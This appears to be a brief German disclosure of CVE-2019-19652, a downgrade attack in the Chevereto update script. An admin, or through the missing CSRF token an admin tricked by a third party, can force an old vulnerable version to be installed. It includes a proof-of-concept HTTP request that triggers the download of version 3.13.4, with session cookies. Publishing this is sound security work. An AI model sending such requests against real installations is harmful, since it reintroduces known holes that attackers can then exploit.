CVE-2019-19652

Chevereto Downgrade-Angriff – 1.0.0 – 1.1.4 Free, ≤ 3.13.5 Core. Ein Admin-Benutzer kann das Update-Skript anweisen, auf eine andere Version herunterzustufen anstatt zu aktualisieren, wodurch frühere Sicherheitslücken wieder auftauchen. Aufgrund des Fehlens eines CSRF-Tokens kann dieser Angriff auch in einem CSRF-Angriff verwendet werden, was bedeutet, dass ein Admin-Benutzer dazu gebracht werden kann, diese Aktion auszuführen.

Ein Admin-Benutzer kann dem Update-Skript mitteilen, eine beliebige Version herunterzuladen, auch alte

Der Server gibt den vollständigen Dateinamen der heruntergeladenen Datei zurück, der dann in der nächsten Anfrage verwendet wird

GET /update/?action=download&version=3.13.4 HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.0.88/dashboard/settings/external-services
Cookie: PHPSESSID=47s523u1s4m67g0vaheldg4s31; KEEP_LOGIN=I8G%3A65983a8df3bcb482e2571a6e771c89600221f615208d39aee8bf6663b88aef732c7783e202410a7ae4c3ad2205c96baeddb841b912325b359ec79528638807efbff73a017c6d719aa0cab0d6a5814d98a671c17d457479371228c590e215f7e8bc7bfcb820142106%3A1575658473
Upgrade-Insecure-Requests: 1

CVE-2019-19652

Beliebteste

Und dann einfach über die aktuelle Version entpacken, wodurch sie potenziell anfällig für alte Sicherheitslücken wird